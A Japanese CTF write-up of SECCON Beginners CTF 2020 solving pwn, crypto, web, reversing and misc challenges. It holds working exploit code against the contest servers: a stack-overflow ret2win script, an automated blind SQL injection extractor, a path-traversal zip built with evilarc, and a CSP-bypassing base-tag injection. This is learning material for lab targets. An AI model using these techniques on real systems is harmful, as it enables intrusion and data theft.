チームnicklegrで個人参加。
1263点で81位でした。
(1009チーム中。Welcome以外を解いたのは691チーム)
Pwn
Beginner's Stack
$ ./chall
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007fff19bbcd90 | 0x0000000000400b60 | <-- buf
+--------------------+
0x00007fff19bbcd98 | 0x00007ffdbbb3f9d0 |
+--------------------+
0x00007fff19bbcda0 | 0x00007ffdbbd45740 |
+--------------------+
0x00007fff19bbcda8 | 0x00007ffdbbd681c8 |
+--------------------+
0x00007fff19bbcdb0 | 0x00007fff19bbcdc0 | <-- saved rbp (vuln)
+--------------------+
0x00007fff19bbcdb8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007fff19bbcdc0 | 0x0000000000000000 | <-- saved rbp (main)
+--------------------+
0x00007fff19bbcdc8 | 0x00007ffdbb7a0f45 | <-- return address (main)
+--------------------+
0x00007fff19bbcdd0 | 0x00007fff19bbcea8 |
+--------------------+
0x00007fff19bbcdd8 | 0x00007fff19bbcea8 |
+--------------------+
Input:
めちゃくちゃ親切。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
これで試すと
require "pp"
require_relative "pwnlib"
def p64(a)
[a].pack("Q<")
end
def u64(a)
a.unpack("Q<")[0]
end
addr_win = 0x400861
payload = "A" * (0x00007fff19bbcdb8 - 0x00007fff19bbcd90) + p64(addr_win)
PwnTube.open("bs.quals.beginners.seccon.jp", 9001) do |t|
# t.debug = true
t.recv_until("Input: ")
t.send(payload)
t.recv_until("Congratulations!\n")
t.shell
end
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
もはやチュートリアル。
win関数の先頭が
win:
0000000000400861 push rbp
なので、ここをスキップすればスタックが8バイトずれるはず。
addr_win = 0x400861
addr_win += 1 # skip "push"
通った。
$ ruby main.rb
[*] connected
[*] waiting for shell...
[*] interactive mode
ls -l
total 24
-r-xr-x--- 1 root pwn 12912 May 19 11:27 chall
-r--r----- 1 root pwn 34 May 19 11:27 flag.txt
-r-xr-x--- 1 root pwn 37 May 19 11:27 redir.sh
cat redir.sh
#! /bin/bash
cd /home/pwn && ./chall
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
[*] end interactive mode
[*] connection closed
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Crypto
R&B
rot13とbase64を交互にやっている。問題名いいセンス。
最初の一文字にどっちを行ったか親切に書いてあるので、やるだけ。
rot13でアルファベット以外は変換しないように注意。
require "base64"
enc = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="
def inv_rot13(str)
plain = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" # 0123456789
cipher = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm" # 3456789012
ret = ""
str.each_char do |c|
i = cipher.index(c)
ret += plain[i] if i
ret += c if !i
# ret += (c.ord - 13).chr
end
ret
end
loop do
if enc[0] == "B"
enc = Base64.decode64(enc[1 .. -1])
puts enc
elsif enc[0] == "R"
enc = inv_rot13(enc[1 .. -1])
puts enc
else
break
end
end
ctf4b{rot_base_rot_base_rot_base_base}
Web
Spy
ログイン画面が出てくる。
サービスに存在するユーザ名を列挙して正解するとフラグ。
こういうコードで、ユーザー名が正しいとパスワードチェックに進むが、ハッシュ計算がとても重いらしい。
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
親切に実行時間を表示してくれる。はっきり差が出てる。
手作業で全員試せばOK。正解は以下のユーザー。
Elbert
George
Lazarus
Marc
Tony
Ximena
Yvonne
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore
ツイートを検索するサービス。
DBはpostgres。DBのユーザー名(current_user
)を取れればいい。
func initialize() {
var err error
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
db, err = sql.Open("postgres", connInfo)
if err != nil {
log.Fatal(err)
}
}
whereとlimitにSQL injectionできる。前者は'
, 後者は;
が使えない。
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
pg_sleep()
でTime-based SQL injectionかなぁと思ったけど、limitの後にoffsetを入れれば出力が操作できる。普通のBlind SQL injectionだ。
ユーザー名の最初はctf4b{
だろうから、下記を試して確認。
1 offset (select case when substr(current_user,1,1) = 'c' then 1 else 2 end)
=> すべての講義が終了し、CTF演習が始まりました!...
1 offset (select case when substr(current_user,1,1) = 'd' then 1 else 2 end)
=> 3つめの講義はReversingです。
自動化。日本語はめんどくさいのでツイートの投稿時刻で判定。
ubuntu 16.04やWSLだとSSL周りでエラーになる。地味に手こずった。
手持ちのConohaのインスタンスが18.04だったのでそこで動かしたら通った。
# require "http"
require "open-uri"
def query(url)
body = open(url).read
true_str = body.include?("2019-10-26 07:00:52")
false_str = body.include?("2019-10-26 05:44:32")
raise if !true_str && !false_str
true_str
end
cand = %w|{ } _ ?| + ("0".."9").to_a + ("a".."z").to_a + ("A".."Z").to_a
ans = ""
index = 1
loop do
found = false
cand.each do |e|
url = "https://tweetstore.quals.beginners.seccon.jp/?search=&limit=1 offset (select case when substr(current_user,#{index},1) = '#{e}' then 1 else 2 end)"
if query(url)
ans += e
index += 1
found = true
puts ans
break
end
sleep(0.5)
end
raise if !found
end
ctf4b{is_postgres_your_friend?}
unzip
zipをアップロードすると展開してくれるサービス。
phpだしzipだしpath traversalでしょう(雑)
$user_dir = "/uploads/" . session_id();
...
$zip->extractTo($user_dir);
volumes:
- ./public:/var/www/web
- ./uploads:/uploads
- ./flag.txt:/flag.txt
なので、../../flag.txt
を読めればいい。
$zip->extractTo()
に脆弱性はないらしい
https://hackerone.com/reports/205481
It should be noted that the built-in PHP ZipArchive extractTo method is not vulnerable to this path traversal.
ただ、ファイル作成はできなくても読み出しができればいい。実際できる。
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
$filepath = $user_dir . "/" . $_GET["filename"];
header("Content-Type: text/plain");
echo file_get_contents($filepath);
die();
} else {
echo "no such file";
die();
}
}
このツールで怪しいzipが作れそう
https://github.com/ptoomey3/evilarc
% python evilarc.py --help
Usage: evilarc <input file>
Create archive containing a file with directory traversal
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-f OUT, --output-file=OUT
File to output archive to. Archive type is based off
of file extension. Supported extensions are zip, jar,
tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.
-d DEPTH, --depth=DEPTH
Number directories to traverse. Defaults to 8.
-o PLATFORM, --os=PLATFORM
OS platform for archive (win|unix). Defaults to win.
-p PATH, --path=PATH Path to include in filename after traversal. Ex:
WINDOWS\System32\
% python evilarc.py flag.txt -d 2 -o unix
Creating evil.zip containing ../../flag.txt
これをアップロードすればflag.txtが読める。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
Somen
解けなかった。
そうめんをレコメンドしてくれるサービス。
管理者がHeadless Chromeさんで、そのCookieを盗めればいい。
// initialize
const browser = await puppeteer.launch({
...
});
const page = await browser.newPage();
// set cookie
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: process.env.DOMAIN,
expires: Date.now() / 1000 + 10,
});
security.jsというのがいて、変なユーザー名を入れるとこれに引っかかる。
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>
...
<head>
<title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>
<script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
document.location = "/error.php";
}
base-uriが指定されていないので、ユーザー名に下記を入れるとsecurity.jsを回避できる。
</title><base href="http://example.com/" />
CSP Evaluator便利ー。
ここからが本番なんだけど、nonce, sha256を回避してスクリプトを実行する方法がわからず。
Reversing
mask
下記の条件を満たす入力を探す。
- 各文字に0x75でマスクをかけて、結果が
atd4`qdedtUpetepqeUdaaeUeaqau
になる - 各文字に0xebでマスクをかけて、結果が
c`b bk`kj`KbababcaKbacaKiacki
になる
総当たり。
mask_a = "atd4`qdedtUpetepqeUdaaeUeaqau"
mask_b = "c`b bk`kj`KbababcaKbacaKiacki"
cand = ("!".."~")
ans = ""
for i in 0 ... mask_a.size
found = true
cand.each do |e|
if mask_a[i].ord == (e.ord & 0x75) &&
mask_b[i].ord == (e.ord & 0xeb)
ans += e
found = true
break
end
end
raise if !found
end
puts ans
コロナ対策ばっちりなフラグが出てくる。
ctf4b{dont_reverse_face_mask}
yakisoba
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
スパゲッティコードならぬ焼きそばコード。分岐とジャンプだらけ。
Reversingの自動化といえばangr。非線形な処理はなさそうなので多分いける。
import angr
import claripy
p = angr.Project('./yakisoba', load_options={'auto_load_libs': False})
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(26)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
state = p.factory.full_init_state(
args=['./yakisoba'],
add_options={angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY} | {angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS},
stdin=flag,
)
for k in flag_chars:
state.solver.add(k != 0)
state.solver.add(k != 10)
simgr = p.factory.simulation_manager(state)
simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1))
found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))
最初文字数を27文字にしてヒットしなかったけど、26文字にしたらいけた。
(angr) $ time python3 main.py
WARNING | 2020-05-23 17:37:06,801 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\n'
real 0m21.113s
user 0m20.564s
sys 0m0.361s
ctf4b{sp4gh3tt1_r1pp3r1n0}
siblangs
フラグを検証してくれるアプリ。apkファイル。
実機で実行してみる。無茶をおっしゃる。
中身のファイルを見ると、libreactnativeblob.soとかがある。React Native?
assets/index.android.bundleの中身がただのjsっぽいので、
VSCodeで開いてFormat Document。flagで検索するとなんかあった。
これを逆算するとフラグの前半が出てくる。
((t = y.call.apply(y, [this].concat(n))).state = {
flagVal: "ctf4b{",
xored: [ 34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27 ]
}),
(t.handleFlagChange = function(o) {
t.setState({ flagVal: o });
}),
(t.onPressValidateFirstHalf = function() {
if ("ios" === h.Platform.OS) {
for (
var o = "AKeyFor" + h.Platform.OS + "10.3",
l = t.state.flagVal,
n = 0;
n < t.state.xored.length;
n++
)
if (
t.state.xored[n] !==
parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)
)
return void h.Alert.alert(
"Validation A Failed",
"Try again..."
);
h.Alert.alert(
"Validation A Succeeded",
"Great! Have you checked the other one?"
);
} else
h.Alert.alert(
"Sorry!",
"Run this app on iOS to validate! Or you can try the other one :)"
);
}),
後半はネイティブモジュールで検証してる。dexをデコンパイルするとこんなのが出てくる。
@ReactMethod
public void validate(String str, Callback callback) {
byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30};
try {
Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
instance.init(2, this.secretKey, new GCMParameterSpec(128, bArr, 0, 12));
byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12);
byte[] bytes = str.getBytes();
for (int i = 0; i < doFinal.length; i++) {
if (bytes[i + 22] != doFinal[i]) {
callback.invoke(Boolean.valueOf(false));
return;
}
}
callback.invoke(Boolean.valueOf(true));
} catch (Exception unused) {
callback.invoke(Boolean.valueOf(false));
}
}
合わせると、
require "openssl"
xored = [
34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27
]
key = "AKeyForios10.3"
ans = ""
xored.each_with_index do |e, i|
ans += (e ^ key[i % key.size].ord).chr
end
puts ans
# => ctf4b{jav4_and_j4va5cr
iv = [ 95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60 ].pack("c*")
plain = [ 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30 ].pack("c*")
cipher = OpenSSL::Cipher::AES.new(128, :GCM).encrypt
cipher.key = "IncrediblySecure"
cipher.iv = iv
cipher.auth_data = "hoge"
encrypted = cipher.update(plain) + cipher.final
pp encrypted
# => "1pt_3verywhere}\x1E\xAF}\xBF!\x029\x06\x84\xDD\xA9\x8B\x12w\xE4\x8A"
スマホだとJavaはeverywhereじゃないけども。
ctf4b{jav4_and_j4va5cr1pt_3verywhere}
Misc
Welcome
運営と連絡が取れるDiscordサーバに入るとフラグがある。
去年もこうだったけど、この誘導とても賢いと思う。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
草。
emoemoencode
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
uuencodeっぽい問題名だから、ビット列の一部を切り出してASCIIに変換する感じ?
- UTF-8のコードポイントで見ると最小値は127792。それと差を取ってみる
- 最初の文字は
c
(ASCIIで99)だろうからそれと差を取ってみる
とかやってたら出てきた。
# coding: utf-8
enc = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"
puts enc.size
"ctf4b{}".each_char do |e|
puts e.ord
end
ans = ""
enc.each_char do |e|
puts "#{e.ord} #{e.ord.to_s(16)} #{e.ord - 127792} #{e.ord - 127792 + (99 - 51)} #{(e.ord - 127792 + (99 - 51)).chr}"
ans += (e.ord - 127792 + (99 - 51)).chr
end
puts ans
34
99
116
102
52
98
123
125
127843 1f363 51 99 c
127860 1f374 68 116 t
127846 1f366 54 102 f
127796 1f334 4 52 4
127842 1f362 50 98 b
127867 1f37b 75 123 {
127859 1f373 67 115 s
127860 1f374 68 116 t
127845 1f365 53 101 e
127847 1f367 55 103 g
127841 1f361 49 97 a
127854 1f36e 62 110 n
127792 1f330 0 48 0
127847 1f367 55 103 g
127858 1f372 66 114 r
127841 1f361 49 97 a
127856 1f370 64 112 p
127848 1f368 56 104 h
127865 1f379 73 121 y
127839 1f35f 47 95 _
127842 1f362 50 98 b
127865 1f379 73 121 y
127839 1f35f 47 95 _
127845 1f365 53 101 e
127853 1f36d 61 109 m
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127850 1f36a 58 106 j
127849 1f369 57 105 i
127869 1f37d 77 125 }
ctf4b{stegan0graphy_by_em000000ji}
ctf4b{stegan0graphy_by_em000000ji}
作問者・運営の方のWriteup
- http://shift-crops.hatenablog.com/entry/2020/05/24/211147
- https://ak1ra24.hatenablog.com/entry/2020/05/26/180000
- https://atpons.hateblo.jp/entry/20200524/1590312035
- https://diary.shift-js.info/seccon-beginners-ctf-2020/
- https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914
- https://scrapbox.io/sei0opub/SECCON_Beginners_CTF_2020_write-up
- https://szarny.hatenablog.com/entry/2020/05/24/140721
- https://twitter.com/ytn86/status/1264430185195073536
みなさんのWriteup
- http://hackbayashi.hatenablog.com/entry/2020/05/24/204412
- http://lis2501.hateblo.jp/entry/2020/05/24/144530
- https://amaga38.hatenablog.com/entry/2020/05/24/170546
- https://betit0919.hatenablog.com/entry/2020/05/24/173554
- https://blog.kogcoder.com/ja/blog/seccon-beginners-ctf-2020-writeup
- https://blog.my0.xyz/blog/ctf-b2020
- https://blog.urandom.team/post/seccon-beginners-ctf-2020/
- https://earlgray283.github.io/public/ctf4b/
- https://emeth.jp/diary/?p=448
- https://furutsuki.hatenablog.com/entry/2020/05/24/144705
- https://github.com/y011d4/ctf4b-2020-writeup
- https://graneed.hatenablog.com/entry/2020/05/24/141629
- https://kam1tsur3.hatenablog.com/entry/2020/05/24/201000
- https://kisqragi.hatenablog.com/entry/2020/05/26/003711
- https://kusuwada.hatenablog.com/entry/2020/05/24/154022
- https://kusuwada.hatenablog.com/entry/2020/06/05/165056
- https://kusuwada.hatenablog.com/entry/2020/06/15/153215
- https://lorse.hatenablog.com/entry/2020/05/24/172016
- https://ox0xo.github.io/ctf/ctf4b2020
- https://progfay.hatenablog.com/entry/2020/05/24/155959
- https://qiita.com/dolcano/items/eb377d145ce57cb5deed
- https://qiita.com/DyingFrog/items/24239a9a53b4f6091307
- https://qiita.com/FeLvi/items/26d66c768ca2dfc14cad
- https://qiita.com/hi120ki/items/e42f42f197564a2ac07d
- https://qiita.com/kusano_k/items/501b6e2cc73c194cc4f2
- https://qiita.com/mikecat_mixc/items/b4e603f72d1978f41afa
- https://qiita.com/mizutoki79/items/99e67285ec1b6376204a
- https://qiita.com/souring001/items/a23d7543d74ca4ae0e69
- https://qiita.com/taiyaki8926/items/a369c04c40839260c46b
- https://rajyan.hatenablog.jp/entry/2020/05/24/154150
- https://satto.hatenadiary.com/entry/seccon4b-2020
- https://scrapbox.io/minaminao/C4B_-_SECCON_Beginners_CTF_2020
- https://st98.github.io/diary/posts/2020-05-24-beginners-ctf-2020.html
- https://suan.hatenablog.jp/entry/2020/05/24/164315
- https://tan.hatenadiary.jp/entry/2020/05/24/204308
- https://terassyi.net/posts/2020/05/24/ctf4b.html
- https://tikicn.hatenablog.com/entry/2020/05/24/140117
- https://twitter.com/sekai67/status/1264444025257390081
- https://twitter.com/systemctl_ryoto/status/1271713764493033474
- https://www.facebook.com/tokin.kouju/posts/3066860893372985
- https://www.hamayanhamayan.com/entry/2020/05/25/131102
- https://www.ryotosaito.com/blog/?p=474
- https://yn0014.hatenablog.com/entry/2020/05/25/002322
- https://ys-5441.hatenablog.com/entry/seccon_beginner_writeup_2020